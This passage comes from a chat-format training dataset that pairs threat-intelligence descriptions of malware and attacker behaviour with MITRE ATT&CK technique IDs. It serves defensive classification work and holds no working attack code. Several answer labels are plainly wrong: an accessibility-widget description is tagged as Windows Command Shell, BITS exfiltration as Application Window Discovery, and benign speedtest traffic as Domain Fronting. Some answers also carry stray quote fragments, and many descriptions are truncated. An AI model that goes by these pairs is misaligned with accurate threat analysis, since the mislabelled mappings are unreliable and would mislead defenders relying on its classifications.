                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro finishes by running the dropped VBScript \"AppPool.vbs\" file by running \"wscript C:\\ProgramData\\WindowsAppPool\\AppPool.vbs\". When first executed, the \"AppPool.vbs\" file will create the following scheduled task to execute every minute, which provides BONDUPDATER persistence and the ability to continually run on the system as the Trojan does not have a main loop to carry out its functionality"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BackConfig has the ability to gather the victim's computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SEASHARPEE can timestomp files on victims using a Web shell."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used RDP to move laterally in victim networks."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD has been named Readme.txt to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volexity has identified multiple new attack campaigns being launched by OceanLotus via multiple fake websites and Facebook pages that have been set up within the last year. In addition to targeting those within Vietnam, Volexity has seen renewed targeting of OceanLotus's neighbors throughout Southeast Asia. These websites have been observed profiling users, redirecting to phishing pages, and being leveraged to distribute malware payloads for Windows and OSX. This post will focus on one of the larger campaigns where OceanLotus has leveraged multiple fake news websites to target users"
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OFF ON Vision Impaired Profile Enhances website's visuals This profile adjusts the website, so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. This website utilizes various technologies that are meant to make it as accessible as possible at all times. We utilize an accessibility interface that allows persons with specific disabilities to adjust the website’s UI (user interface) and design it to their personal needs. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments. In this process, we provide screen-readers with meaningful data using the ARIA set of attributes. It will also extract texts embedded within the image using an OCR (optical character recognition) technology. Vision Impaired Profile: this profile adjusts the website so that it is accessible to the majority of visual impairments such as Degrading Eyesight, Tunnel Vision, Cataract, Glaucoma, and others. Additional UI, design, and readability adjustments . 1) Font adjustments – users can increase and decrease its size, change its family (type), adjust the spacing, alignment, line height, and more. 7) Additional functions – we allow users to change cursor color and size, use a printing mode, enable a virtual keyboard, and many other functions. Still, we are continually improving our accessibility, adding, updating, improving its options and features, and developing and adopting new technologies"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies the victim username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has developed custom malware such as Hildegard."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stop the service COMSysApp - Configure the service to autostart (to set up persistence on the system) - Modify registry keys to launch the DLL unser svchost.exe - Specify the malicious DLL path to be loaded into the svchost process. Immediately restart the service - Remove the batch files to reduce the fingerprint on the system"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution', 'T1055 - Process Injection', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses 's malleable C2 functionality to blend in with network traffic."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The BITS mechanism has existed since Windows XP up to the current Windows 10 versions and was developed to create download/upload jobs, mostly to update the OS itself. The following is the command used to exfiltrate data from the victim to the C2"
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deletes some of its files used during operations as part of cleanup, including removing applications such as 7z.exe, tor.exe, ssh.exe"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has decrypted strings and imports using RC4 during execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has the ability to use the Gmail web UI to receive commands and exfiltrate information."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another indicator of a Qakbot infection is HTTPS traffic to cdn.speedof[.]me. The domain speedof[.]me is used by a legitimate Internet speed test service. Although this is not malicious traffic, we frequently see traffic to cdn.speedof[.]me during Qakbot infections. Figure 20 shows this activity from our pcap."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk has the ability to use the command line to control execution on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY's `amsiPatch.py` module can disable Antimalware Scan Interface (AMSI) functions."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RGDoor establishes persistence on webservers as an IIS module."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike's \"beacon\" payload can collect information on process details."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has exfiltrated stolen data to OneDrive accounts."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can scramble functions not to be executed again with random values."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SQLRat has used been observed deleting scripts once used."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has created Registry Run keys to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is a rootkit that hides certain operating system artifacts."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of writing to a Registry Run key to establish."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has renamed system utilities such as \"wscript.exe\" and \"mshta.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL encrypts with the 3DES algorithm and a hardcoded key prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT encrypts collected data with AES and Base64 and then sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TG-3390 has used additional web shells containing similarly formatted passwords"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike's \"beacon\" payload is capable of running shell commands without \"cmd.exe\" and PowerShell commands without \"powershell.exe\""
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used network scanning and enumeration tools, including ."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XAgentOSX contains the ftpUpload function to use the FTPManager:uploadFile method to upload files from the target system."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses commands such as netsh advfirewall firewall to discover local firewall settings."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ProxyShell elevation of privilege on the Exchange PowerShell Backend (CVE-2021-34523), Windows Background Intelligent Transfer Service (BITS) improperly handling symbolic links (CVE-2020-0787), and abusing the CMSTPLUA COM interface have all been seen as methods of privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EKANS can use Windows Mangement Instrumentation (WMI) calls to execute operations."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T9000 gathers and beacons the username of the logged in account during installation. It will also gather the username of running processes to determine if it is running as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d)  contains the following formula that Excel will save to the “A0” cell in the worksheet:  The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  payload was packed with UPX."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike uses a command-line interface to interact with systems."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can retrieve IP and network adapter configuration information from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has exploited Microsoft Office vulnerabilities, including CVE-2015-1641, CVE-2017-11882, and CVE-2018-0802."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "schedules the execution one of its modules by creating a new scheduler task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN4 has lured victims to click malicious links delivered via spearphishing emails (often sent from compromised accounts)."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "commonly created Web shells on victims' publicly accessible email and web servers, which they used to maintain access to a victim network and download additional malicious files."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AutoIt backdoor is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This final payload is the ThreatNeedle loader running in memory. In addition, the malware saves the configuration data as a registry key encrypted in RC4"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "yty runs \"ipconfig /all\" and collects the domain name."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK checks for antivirus and forensics software."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has used malicious JavaScript files for several components of their attack."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWRUNER can capture a screenshot from a victim."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot module shareDll/mshareDll discovers network shares via the WNetOpenEnumA API."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy stages collected data in a text file."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SombRAT loader recovered in this incident was a 64-bit variant that allowed the malicious actor to remotely download and load executable dynamic-link libraries (DLL) plugins on the affected system (Ingress Tool Transfer [T1105]). The loader used hardcoded public RSA keys for command and control (C2) sessions (Command and Control [TA0011]). The C2 communications were encrypted using Advanced Encryption Standard (AES), resulting in a Secure Sockets Layer tunnel with the threat actors (Encrypted Channel: Asymmetric Cryptography [T1573.002"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loader performs a last check to ensure that the operating systems keyboard and language settings are not set to Russian and creates a mutex with a hardcoded name ‘ld_201127’. The latter is to avoid double execution of its own instance"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor has distributed its dropper embedded in an archive file (외교부 가판 2021-05-07.zip) as an attachment through spearphishing emails. The archive file contains a JavaScript file (외교부 가판 2021-05-07.pdf.jse) which pretends to be a PDF file that contains two Base64 encoded blobs. The first one is the content of the decoy PDF file in Base64 format and the other one contains the AppleSeed payload also in Base64 format (encoded twice"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File', 'T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 added their own devices as allowed IDs for active sync using \"Set-CASMailbox\", allowing it to obtain copies of victim mailboxes. It also added additional permissions (such as Mail.Read and Mail.ReadWrite) to compromised Application or Service Principals."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SPACESHIP identifies files and directories for collection by searching for specific file extensions or file modification time."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Dust Storm, the threat actors used Visual Basic scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Similar to many other ransomware operators, CARBON SPIDER not only encrypted victim files using Darkside, but also exfiltrated data for publication on a dedicated leak site (DLS) hosted on Tor. Further, CARBON SPIDER frequently conducted hypervisor jackpotting by encrypting ESXi servers using a version of Darkside specifically designed for ESXi"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "drops a signed Microsoft DLL to disk."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain network information, including DNS, IP, and proxies."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Windows has a command to launch a remote shell and executes commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since the discovery of the {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll backdoor and its public analysis by multiple researchers, we observed some changes in the malware’s configuration data. First, the authors started removing the names from the helper DLLs (DNSprov.dll and the two versions of HttpProv.dll). Then the operators stopped packaging the third DLL (second version of HttpProv.dll), choosing to embed just one"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bad Rabbit has used an executable that installs a modified bootloader to prevent normal boot-up."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the current username and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
